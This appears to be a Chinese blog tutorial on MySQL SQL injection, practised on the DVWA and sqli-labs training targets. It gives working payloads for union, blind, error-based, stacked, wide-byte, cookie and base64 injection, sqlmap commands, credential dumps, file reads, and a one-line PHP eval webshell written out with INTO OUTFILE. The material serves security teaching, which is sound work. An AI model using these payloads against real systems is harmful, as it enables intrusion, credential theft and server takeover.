sql注入详解

1、什么是sql

SQL 是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用 SQL。

SQL 注入是由于程序没有对用户输入数据的合法性进行验证和过滤,导致 SQL 查询语句被恶意拼接从 而产生SQL 注入。

1.2、漏洞描述

   Web 程序代码中对于用户提交的参数未做过滤就直接放到 SQL 语句中执

行,导致参数中的特殊字符打破了 SQL 语句原有逻辑,黑客可以利用该漏洞执

行任意 SQL 语句,如查询数据、下载数据、写入 webshell 、执行系统命令以

及绕过登录限制等。

1.3、测试方法

在发现有可控参数的地方使用 sqlmap 进行 SQL 注入的检查或者利用, 也可以使用其他的 SQL 注入工具,简单点的可以手工测试,利用单引号、 and 1=1 和 and 1=2 以及字符型注入进行判断!推荐使用 burpsuite 的 sqlmap 插 件,这样可以很方便,鼠标右键就可以将数据包直接发送到 sqlmap 里面进行检 测了!

1.4、sql注入相关知识

在 mysql5 版本以后, mysql 默认在数据库中存放在一个叫 infomation_schema 里 面 这个库里面有很多表 重点是这三个表 columns 、 tables 、 SCHEMATA 表字 段 CHEMA_NAME 记录着库的信息

可以使用phpstudy查看我们之前搭建的dvwa的数据库,发现存在information_schema库

tables 表字段 TABLE_SCHEMA 、 TABLE_NAME 分别记录着库名和表名

columns 存储该用户创建的所有数据库的库名、表名和字段名。

通过 infomation_schema 查询 dvwa 库里所有的表和字段

select * from information_schema.`COLUMNS` where TABLE_SCHEMA='dvwa'

这里打开phpstudy的phpmyadmin,输入账号root密码root进行登录

按照图中进行

select * from information_schema.`COLUMNS` where TABLE_SCHEMA='dvwa'

数据库 . 表名 这种查询方法是指定某个数据库某个表 `` 这个符号可以忽略不用

查询某个库某个表的字段可以这样查询

select * from information_schema.COLUMNS where TABLE_SCHEMA='dvwa' and TABLE_NAME='users'

图中存在coulmn_name,成功获得字段名

2、sql注入原理

SQL 注入漏洞的产生需要满足以下两个条件

1、  参数用户可控:从前端传给后端的参数内容是用户可以控制的

2、 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

当用户传入参数为 1' 的时候 , 在数据库执行如下所示。

select * from users where id=1'

此 SQL 语句不符合语法规则就会报错。

You have an error in your SQL syntax; check the manual that corresponds to your

MySQL server version for the right syntax to use near ''' at line 1

当用户传入参数为 1 and 1=1 时

select * from users where id=1 and 1=1

因为 1=1 为真 id=1 也是真 and 两边均为真 所以页面会返回 id=1 的结果。

如果用户传入参数为 1 and 1=2 时

因为 1=2 为假 id=1 为真 and 两边有一个为假,所以页面返回与 id=1 不一样的 结果。

由此可以初步判断存在 SQL 注入漏洞,攻击者可以进一步拼接 SQL 攻击语句,

进行攻击,致使信息泄露,甚至获取服务器权限。

2.1、判断是否存在注入

回显是指页面有数据 信息返回

id =1 and 1=1

id = 1 and 1=2

id = 1 or 1=1

id = '1' or '1'='1'

id=" 1 "or "1"="1"

无回显是指 根据输入的语句 页面没有任何变化 , 或者没有数据库中的内容显示

到网页中 .。

使用dvwa进行测试,记得将dvwa的安全等级改为low

and是与运算,在sql语句中1=2是false为0;1是true为1;1 and 0为0,此处应该无回显,可以判断不是整字型注入

第三个1的后单引号在页面内用于拼接sql语句

判断出是字符型注入,这里输入的是1' and '1'='2,无回显,语句被带入到数据库进行查询了

2.2、 三种 sql 注释符

# 单行注释

注意与 url 中的 # 区分,常编码为 %23 

-- 空格 单行注释 注意为短线短线空格

/* () */ 多行注释 至少存在俩处的注入

/**/ 常用来作为空格

sql传入参数在url上是GET型注入,在GET型注入中#必须进过url编码,不然无法带入数据库进行查询

sql传入参数在数据包内容的是POST注入

2.2.1、#单行注释
SELECT * FROM `users` WHERE user_id=1 #absbbabdsbad

2.2.2、--空格,单行注释
SELECT * FROM `users` WHERE user_id=1 -- adsbdbas

2.2.3、/**/多行注释
 
  1. SELECT * FROM `users` WHERE user_id=1 /*adsbdbas

  2. aasdasdasd*/

3、 注入流程

1、是否存在注入并且判断注入类型

上面已经判断为字符型注入了

2、判断字段数

order by

由此可以判断字段数为2

3、确定回显点

union select 1,2

因为数据库中存在id=1的数据,所以这条查询语句被运行了两次

只需要将1改为不存在的数据

查询数据库信息

@@version(数据库版本信息)

@@datadir(SQL所在路径)

查询用户名,数据库名

user()

database()

union 查询结合了两个 select 查询结果,根据上面的 order by 语句我们知道

查询包含两列,为了能够现实两列查询结果,我们需要用 union 查询结合我们构

造的另外一个 select. 注意在使用 union 查询的时候需要和主查询的列数相同。

得到当前数据库名后来获取数据库下的表名:

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#

GROUP_CONCAT函数是一个聚合函数,用于将GROUP BY产生的同一个分组中的值连接起来,并返回一个字符串结果。这个函数在拼接多行数据到一个字符串时特别有用。(拼接作用)

得到表名后获取列名:

 
  1. -1' union select 1,group_concat(column_name) from information_schema.columns

  2. where table_name =0x7573657273#

对'users'进行了hex编码,主要绕过单引号过滤

获取数据第一种方式:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

因为使用or进行或运算,只要有一个是正确的这条语句就是正确的,所以-1’or 1=1和1’or 1=1的结果一样,数据库会先执行1' or 1=1因为这是永远正确的,数据库会将所有用户名和密码输出到页面,如前五条;接下来执行union select,使用group_concat将内容拼接在一起输出

这是执行1' or 1=1#的结果,帮助理解

第二种方式

-1' union select null,concat_ws(char(32,58,32),user,password) from users #

这条语句数据库会直接执行union select后面的因为-1是错误的,null是用来占位的,因为存在两个字段,使用concat_ws来拼接字符字符串,char是将ascii码转换为字符串,32是冒号,58是空格,获取user列和password列的数据,指定了表名为users;如果将-1改为1,下图会多出一条数据,多出的数据就是执行了id=1

第三种方式:

-1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #

group_concat会将所有数据拼接在一起,concat_ws将user和password拼接在一起后对于第二条数据会进行换行载拼接;第二个函数比第一个函数比较美观

获取mysql.user表中所有的用户名和密码:

1' union select 1,group_concat(user,password) from mysql.user#

发现有三条root的数据,登录到mysql中查看

select * from mysql.user

发现主机名不同,其他相同的root账号和密码

=========================================================================

文件读取 union select 1,load_file('C:\\wondows\\win.ini')#

1、 读文件需满足条件

1.secure_file_priv值允许对该路径下的文件进行操作

2.数据库用户(mysql的属主)对文件有读权限

3.当前数据库登录用户拥有file权限

mysql> show grants for 用户名@localhost;

查看用户在在数据库的权限

2、

 
  1. show global variables like 'max_allowed%';#查看文件最大数值限制

  2. set global max_allowed_packet = 数值; #修改文件最大数值限制

文件大小小于max_allowed_packet(load_file()函数受到这个值的限制)

3、

show global variables like "secure%";#查看所有以secure开头的全局变量。

secure_file_priv

  • 值为NULL,表示禁止文件的导入与导出

  • 值为某一目录,表示只能对该目录下的文件导入与导出

  • 值为空,表示不对文件的读写进行限制

4、修改mysql目录下的my.ini文件

5、在文件中的[mysqld]字段下添加secure_file_priv=

这里我指定了读取路径,也可以保持为空

5、这时候在dvwa中可以读取到文件内容

写入 webshell

select..into outfile...

 
  1. -1'union select 1,"<?php eval($_POST[cmd])?>" into outfile 'E:/phpstudy/PHPTutorial/MySQL/data/dvwa/1.php'

1、写入文件也需要将在my.ini中添加secure_file_priv=;我这指定了路径所以只能写入到这个路径下

补充一点,使用 sql 注入遇到转义字符串的单引号或者双引号,可使用 HEX 编

码绕过

这里将'dvwa'进行hex编码为276476776127

select * from information_schema.`COLUMNS` where TABLE_SCHEMA=2764767761

4、SQL 注入分类

SQL 注入分类:按 SQLMap 中的分类来看, SQL 注入类型有以下 5 种:

UNION query SQL injection (可联合查询注入)

Stacked queries SQL injection (可多语句查询注入)堆叠查询 Boolean-based blind SQL injection ( 布尔型注入)

Error-based SQL injection (报错型注入)

Time-based blind SQL injection (基于时间延迟注入)

4.1、接受请求类型区分

GET 注入

GET 请求的参数是放在 URL 里的, GET 请求的 URL 传参有长度限制 中文需要

URL 编码

POST 注入

POST 请求参数是放在请求 body 里的,长度没有限制

COOKIE 注入

cookie 参数放在请求头信息,提交的时候 服务器会从请求头获取

4.2、 注入数据类型的区分

int 整型

select * from users where id=1

sting 字符型

select * from users where username='admin'

like 搜索型

select * from news where title like '% 标题 %'

5、union 联合注入原理

联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进 行联合查询。两个表的字段要数要相同,不然会出现报错。

guestbook具有三个字段

users具有八个字段

如果直接联合两个表 因为列数跟第一个表不一样 会导致出错

guestbook 有个三个字段 users 也需要有三个与之匹配

这些数字可以替换成字段的名称或者函数。

替换成函数

SELECT * FROM guestbook WHERE comment_id=1 union select

database(),user(),version() from users

这里和上面   注入流程  是差不多的操作

如果没有加上 limit 限定条数会把所有内容查询出来,所以都会加上 limit 1 限定

SELECT * FROM guestbook WHERE comment_id=1 union select

user_id,user,password from users limit 1

这里使用dvwa进行演示

limit 0,1等于limit 1,第二条数据limit 1,1;第三条数据limit 2,1

-1' union select null,concat_ws(char(32,58,32),user,password) from users limit 0,1 #

在上面详细的介绍了原理,现在再来分析有 SQL 注入漏洞的代码,通过分析代 码,更深入地了解 SQL 注入漏洞。代码所在位置:E:\phpstudy\PHPTutorial\WWW\ DVWA\vulnerabilities\sqli\source

主要是在标红的这个路径下

通过代码我们可以知道它是直接获取用户输入的内容没有进行任何过滤,然后直接进行查询

6、布尔盲注

在页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

存在即返回 users is exists in the database 否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库里任何内容,如果存在注入,成为盲注入。

盲注入的方式有两种:一种是布尔型盲注入,另外一种是延时注入。

6.1、判断盲注

输入检测语句页面没有任何改变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行。

这里使用dvwa进行测试,输入内容后进行抓包

1' and sleep(5)

6.2、布尔型注入(盲注)攻击

布尔型盲注入用到得 SQL 语句 select if(1=1,1,0) if() 函数在 mysql 是判断,第一

个参数表达式,如果条件成立,会显示 1 ,否则显示 0 。 1=1 表达式可以换成构

造的 SQL 攻击语句。

1' and if(1=1,1,0)--+ 页面返回正常,这个语句实际上是 1’and 1 ,真 and 真 结果

为真, 1 是存在记录的。所以返回正确页面。

1' and if(1=2,1,0)--+ 页面返回错误,这个语句就是 1’and 0 ,真 and 假 结果为

假,整个 SQL ID 的值也是 0 所以没有记录,返回错误页面。

6.3、布尔型盲注入获取数据库敏感信息

在黑盒的环境下,通过构造 SQL 注入语句,根据页面的特征确定获取敏感信息。

布尔型盲注入用到的函数

SUBSTRING() 字符串截取,第一个参数是字符串,第二个参数是开始截取 第三个是截取的长度。

select database() 查询当前库

通过 substring 截取截取长度,第二个参数位置不能为0,如果为0,就返回空字符串

select substring(database(),1,1)

需要获取第二个字符就修改第二个参数

再用 if 函数进行构造

select if(SUBSTRING(database(),1,1)='d',1,0) 

判断数据库第一个字是不是字符 d ,如果是返回 1 否则返回 0 。

需要获取第二个字符需要将substring的第二个参数修改为2,依次类推。

6.4、盲注攻击顺序及测试

首先判断注入,判断完注入就获取数据库的长度,得到长度再查询库名,通过库

名再查询表,接着通过表查询字段,最后查询某表指定的数据。

1、 要查询当前库名,首先确定要查询数据库的长度,再通过截取字符进行对比。

1' and if(length(database())=4,1,0)--+

2、判断库名的长度为 4,获取库名,下面是用来爆破库名的字典

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_

使用py脚本将其输出为一个字符一行

 
  1. a = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz.@_"

  2. for x in a: print(x)

将数据包方式到爆破模块

3、选择集束炸弹模式,并将字符开始截取位置和库名字符添加为变量

4、添加为第一个payload设置为1到4,这是库名长度;对第二个payload设置为上面说的字典

5、点击攻击获取库名,可以得到库名为dvwa;出现这种情况是因为mysql对大小写不敏感

MySQL的大小写敏感性可以通过配置文件的lower_case_table_names参数来控制。在Windows系统中,可以通过编辑MySQL安装目录下的my.ini文件,在[mysqld]节下添加lower_case_table_names=0(大小写敏感)或lower_case_table_names=1(大小写不敏感)来实现。在Linux系统中,相应的配置文件通常是my.cnf。

6、得到数据库名后获取表名

1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1),1,1)='g',1,0)--+

除了sql语句不一样,爆破方式和获取数据库名一样

获取表名 guestbook users

7、获取列名

1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' limit 1,1),1,1)='u',1,0)--+

获取 users 表的字段

首先判断查询账号和密码的长度

1'and if((SELECT LENGTH(CONCAT(user,0x3a,PASSWORD)) from users limit1)=38,1,0)--+

获取账号和密码的内容,如果需要获取下一条数据需要将limit 1修改为limit 1,1

1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),1,1)='a',1,0)--+

7、报错注入

判断是否存在报错注入 输入单引号 如果报错有可能存在报错注入,如果拼接SQL 语句带入到 mysql 执行即存在报错注入。 输入 1'and info()--+ 显示当前库,原理是SELECT first_name, last_name FROM users WHERE user_id = '1' and info()-- 会报错显示当前库不存在这个函数 这样当前库名就显示在页面上。

7.1、报错注入获取数据库敏感信息

1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

updatexml()是MySQL中的一个函数,它用于修改XML文档中的值。这个函数的结构如下:

UPDATEXML (xml_doc, xpath_expr, new_value)

如果xpath_expr指定的路径在xml_doc中不存在,那么updatexml()函数会返回一个错误,这个错误会包含你试图查找的路径。

0x7e是~;concat用于拼接

可以将select后面的user()替换为其他的函数 version() 、database() 就能得到 mysql 得版本信息和当前库名。

修改user()可以获取表名,列名

-1' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1),0x7e),1))#

获取到了第一个表名,需要获取第二个表名修改limit为limit 1,1

但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过 32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。

这里获取的是一个密码的1到32字符串内容,如果需要后面的内容可以更改1,32;需要第二条密码就修改limit 1,1

1' and (updatexml(1,concat(0x7e,(select(substring((select password from users limit 1),1,32))),0x7e),1))#

除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。

 
  1. 1.floor()

  2. select * from test where id=1 and (select 1 from (select

  3. count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by

  4. x)a);

  5. 2.extractvalue()

  6. select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  7. 3.updatexml()

  8. select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  9. 4.geometrycollection()

  10. select * from test where id=1 and geometrycollection((select * from(select *

  11. from(select user())a)b));

  12. 5.multipoint()

  13. select * from test where id=1 and multipoint((select * from(select * from(select

  14. user())a)b));

  15. 6.polygon()

  16. select * from test where id=1 and polygon((select * from(select * from(select

  17. user())a)b));

  18. 7.multipolygon()

  19. select * from test where id=1 and multipolygon((select * from(select * from(select

  20. user())a)b));

  21. 8.linestring()

  22. select * from test where id=1 and linestring((select * from(select * from(select

  23. user())a)b));

  24. 9.multilinestring()

  25. select * from test where id=1 and multilinestring((select * from(select * from(select

  26. user())a)b));

  27. 10.exp()

  28. select * from test where id=1 and exp(~(select * from(select user())a));

7.2、报错注入获取 mysql 账号和密码

获取账号和密码需要 root 用户才有足够大的权限

authentication_string 是 MySQL 数据库中 user 表的一个字段,用于存储经过加密的账户密码。

select authentication_string from mysql.user limit 1;

 
  1. select(updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user

  2. limit 1 )),0x7e),1))

 
  1. select(updatexml(1,concat(0x7e,(select (substring((select authentication_string from

  2. mysql.user limit 1),32,40))),0x7e),1))

7.3、floor 报错

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名采用 floor 报错并不会存在长度问题。

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

将 LIMIT 0,1 改成 1,1 表是第二个表名

在获取表名之后就可以获取字段名,如获取 usrs 的字段名获取第一个字段名。

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

需要第四列的列名需要将如图位置修改为3

可以使用 burpsuite 批量对字段批量获取,首先抓包,修改变量,设置匹配规则。

设置为0到20,列名一般不会超过20

设置网页固定内容获取

点击add后弹出在爆破模块的数据包,双击选择id,点击ok 

再点击开始攻击得到有20条列名

现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。

1'and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

需要获取第二条记录修改如图位置的limit 0,1;将其改为limit 1,1

可以使用burp对其进行抓包发送到爆破模块,爆破出所有用户信息

8、时间盲注

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型

注入获取数据而采用一种突破注入的技巧。

在 mysql 里 函数 sleep() 是延时的意思, sleep(10) 就是 数据库延时 10 秒返回内

容。判断注入可以使用 'and sleep(10) 数据库延时 10 秒返回值 网页响应时间至少

要 10 秒 根据这个原理来判断存在 SQL 时间注入。

mysql 延时注入用到的函数 sleep() 、 if() 、 substring()

select if(2>1,sleep(10),0) 2>1 这个部分就是你注入要构造的 SQL 语句。

使用if对当前数据库名长度进行判断,如果长度大于1,就返回1;语句变成1=1,页面返回就延迟5秒,否则就返回0;语句变为0=1,就不执行sleep(5)。

1'and+if(length(database())>1,sleep(5),0)=1--+

分析源码 直接获取 name 带进数据库进行查询,但是是否存在记录页 面返回都一样

判断了数据库长度,开始获取数据库名

1'and+if(ascii(substr(database(),1,1))>1,sleep(3),0)=1--+

由于burp的爆破模式不能看见页面返回时间,所以可以在重放模块手动一个一个试,这里我使用ascii函数将数据库名的第一个字母转化为ascii码值进行比较,需要将>1改为=数字。如果不想使用ascii值进行判断,就将sql语句改为

1'and+if(substr(database(),1,1)='d',sleep(3),0)=1--+

得到数据库后进行表的长度获取,由于数据库下不止一张表所以需要使用limit来指定第几个表

1'and+if(length((select+table_name+from+information_schema.tables+where+table_schema=database()limit+0,1))>1,sleep(3),0)=1--+

获取表名

1'and+if(substr((select+table_name+from+information_schema.tables+where+table_schema=database()limit+0,1),1,1)='g',sleep(3),0)=1--+

获取列名长度

1'and+if(length((select+column_name+from+information_schema.columns+where+table_name='users'+and+table_schema=database()+limit+0,1))>1,sleep(3),0)=1--+

获取列名,password列是第五列

1'and+if(substr((select+column_name+from+information_schema.columns+where+table_name='users'+and+table_schema=database()+limit+0,1),1,1)='u',sleep(3),0)=1--+

获取password列内容的长度,这是获取的第一条

1'and+if(length((select+password+from+users+limit+0,1))>1,sleep(3),0)=1--+

获取具体数据,获取第一条数据的第一个字符

1'and+if(substr((select+password+from+users+limit+0,1),1,1)='5',sleep(3),0)=1--+

需要获取多个列的数据,可以使用concat进行拼接

1'and+if(substr((select+concat(user,password)+from+users+limit+0,1),1,1)='a',sleep(3),0)=1--+

使用group_concat可以不使用limit,因为group_conat会将所有数据拼接成一行

1'and+if(substr((select+group_concat(user,password)+from+users),1,1)='a',sleep(3),0)=1--+

9、sqlmap的使用

sqlmap 支持多种数据库注入,而且支持多种注入方式。

sqlmap -u "http://192.168.10.131/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" -p id -v 1 --technique=T

如果不能正常进行测试,首先查看kali是否能上网,或者在sqlmap中添加cookie值如:--cookie "xxxxxxxxxxxxxxxxxxxx" 

-p指定sqlmap对那个参数进行注入

-v 1详细输出级别为1

--technique=T指定注入使用的技术为时间注入

--current-user 获取用户

--current-db 当前库

--batch 使用默认模式 自动 y

sqlmap -u "http://192.168.10.131/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=umehs7aejri576tajluq4eud50;security=low" -p id -v 1 --technique=T --current-d --current-user --batch

得到当前用户root和当前数据库名dvwa

获取表 -D 指定数据库 --tables 获取表

sqlmap -u "http://192.168.10.131/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=umehs7aejri576tajluq4eud50;security=low" -p id -v 1 --technique=T -D dvwa --tables --batch

在 sqlmap --columns 获取字典 -T 某个表

sqlmap -u "http://192.168.10.131/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=umehs7aejri576tajluq4eud50;security=low" -p id -v 1 --technique=T -D dvwa -T users --columns --batch

--dump 导出数据

-C 指定查询的字段

sqlmap -u "http://192.168.10.131/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=umehs7aejri576tajluq4eud50;security=low" -p id -v 1 --technique=T -D dvwa -T users -C user_id,user,password --dump --batch

10、堆叠注入

堆叠查询可以执行多条 SQL 语句,语句之间以分号 (;) 隔开,而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。

在 mysql 里 mysqli_multi_query 和 mysql_multi_query这两个函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。但是堆叠查询只能返回第一条查询信息,不返回后面的信息。

select version();select database()堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库 修改数据库,添加数据库用户。

10.1、使用容器拉取sql注入靶场

拉取靶场

sudo docker run -dt --name sqli -p 7766:80 acgpiano/sqli-labs

-d后台运行

-t分配一个伪终端

-p端口映射

在堆叠注入页面中,程序获取 get 参数的 id ,使用 mysqli 的方式进行数据查询,

在执行语句时候使用了 mysqli_multi_query 函数处理 sql 语句,导致存在堆叠注

入。

进入容器

sudo docker exec -ti sqli /bin/bash

10.2、对sql靶场第38关进行测试

1、判断注入类型,发现是字符型注入

2、获取当前库的表名

-1' union select 1,2,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)--+

3、获取users表中的字段

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1)--+

4、知道表的列的情况下使用 insert into 插入语句进行增加账号。如果是管理表直接添加管理员账号即可登录后台。向users表中插入id为666,用户名为miao,密码为123456的用户

-1';insert into users(id,username,password)values(666,'miao','123456')--+

5、给id传入参数666

11、二次注入

二次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。

原理:

在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,但 是 addslashes 有一个特点就是虽然参数在过滤后会添加 “ \ ” 进行转义,但是“ \ ” 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

原理图解:

11.1、二次注入攻击测试--第24关

先确定测试的网站是否进行过滤,一般情况下网站都会对输入的参数进行过滤,然后寻找可能会带入恶意数据二次使用的地方。例如用户注册-> 修改密码邮箱注册-> 修改密码 文章添加 ->文章编辑。找一切存在二次使用的功能点。二次注入测试 SQL 注入,二次注入多数是字符型注入,所以要注意闭合问题。

我们来修改admin用户的密码,现在的密码是admin;分别注册用户 admin' and 1=1#  admin' and 1=2# 再来可能触发的地方。

将会密码修改为my

能够发现admin的密码已经被改变为了my

admin' and 1=2#不能修改admin的密码,因为1=2是错误的;这条语句进行了与运算,所以这条语句也是错误的,将and换成or进行或运算,存在admin这个用户为真,整条语句也就是为真的

12、宽字节注入

什么是宽字节注入:

宽字节注入,在 SQL 进行防注入的时候,一般会开启 gpc,过滤特殊字符。 一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不 对,也可以导致 SQL 防注入绕过,达到注入的目的。如果数据库设置宽字节字符集 gbk 会导致宽字节注入,从而逃逸 gpc。

前提条件:

简单理解 : 数据库编码与 PHP 编码设置为不同的两个编码那么就有可能产生宽字节注入

深入讲解:要有宽字节注入漏洞,首先要满足数据库后端使用双 / 多字节解析 SQL

语句,其次还要保证在该种字符集范围中包含低字节位是 0x5C(01011100) 的字

符,初步的测试结果 Big5 和 GBK 字符集都是有的, UTF-8 和 GB2312 没

有这种字符(也就不存在宽字节注入)。

gpc 绕过过程:

%df%27===(addslashes)===>%df%5c%27===( 数据库 GBK)===> 運'

12.1、宽字节攻击--第32关

注入判断:

-1%df' and 1=1--+ 页面是否存在乱码

-1%df' or sleep(10)--+ 页面是否存在延时

1、发现无回显是字符型的注入

1%df' and 1=1--+

2、获取字段数,获取回显位置,获取当前数据库名,这都和普通注入一样

-1%df' union select 1,2,database()--+

3、获取表名

-1%df' union select 1,2,concat(table_name)from information_schema.tables where table_schema=database() limit 1,1--+

4、获取列名

这里的表名是users,我对它进行了hex编码,因为对users使用单引号报错了

-1%df' union select 1,2,concat(column_name)from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 1 --+

5、获取id,username,password

-1%df' union select 1,2,concat(id ,0x7e,username,0x7e,password)from users limit 1,1 --+

13、cookie注入

COOKIE 注入与 GET 、 POST 注入区别不大,只是传递的方式不一样。 GET 再url 传递参数、 POST 在 POST 正文传递参数和值, COOKIE 在 cookie 头传值。

cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行

测试,抓取 cookie 包进行安全测试。

13.1、cookie注入攻击--第20关

 在 burpsuite 显示 传递的方式。

登录并进行抓包

1、判断cookie注入

在如图位置添加,uname用来传入用户名,不能修改

uname'and+1=1--+

2、获取当前数据库名

uname=-admin'union+select+1,2,database()--+;

3、获取表名

-admin'union+select+1,2,concat(table_name)+from+information_schema.tables+where+table_schema=database()+limit+1--+;

4、获取列名

-admin'union+select+1,2,concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'+limit+1--+;

5、获取id,username,password的内容

-admin'union+select+1,2,concat(id,0x3a,username,0x3a,password)from+users+limit+1,1--+;

14、base64 编码注入

base64 一般用于数据编码进行传输,例如邮件,也用于图片加密存储在网页中。数据编码的好处是,防止数据丢失,也有不少网站使用 base64 进行数据传输,如搜索栏 或者 id 接收参数 有可能使用 base64 处理传递的参数。在 php 中 base64_encode() 函数对字符串进行 base64 编码 , 既然可以编码也可以进行解码,base64_decode() 这个函数对 base64 进行解码。

编码解码流程

1 ->base64 编码 ->MQ==->base64 解密 ->1

base64 编码注入,可以绕过 gpc 注入拦截,因为编码过后的字符串不存在特殊字符。编码过后的字符串,在程序中重新被解码,再拼接成 SQL 攻击语句,再执行,从而形式 SQL 注入。

14.1、base64编码注入攻击--第21关

首先观察网站是否存在 base64 编码的数据,例如传递的 id 的值,搜索模块。

如果存在类似 == 等,可以用 base64 解码进行测试。

admin'and 1=1-- 编码 YWRtaW4nYW5kIDE9MS0tIA==

admin'and 1=2-- 编码 YWRtaW4nYW5kIDE9Mi0tIA==

1、判断注入对admin' and 1=1 --+进行了base64编码,发现有语法错误并回显了一个)符号

重新构造语句为admin') and 1=1 #

2、获取字段数和字段回显位置,当前数据库名;将上面对20关进行sql注入的语句添加),修改--+为#再进行base64编码

Base64 在线编码解码 | Base64 加密解密 - Base64.us

3、后面的靠大家自己来操作了

---------------------------------------------------------------------------------------------------------------------------------如有什么问题和不同的见解请私信我,谢谢~

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值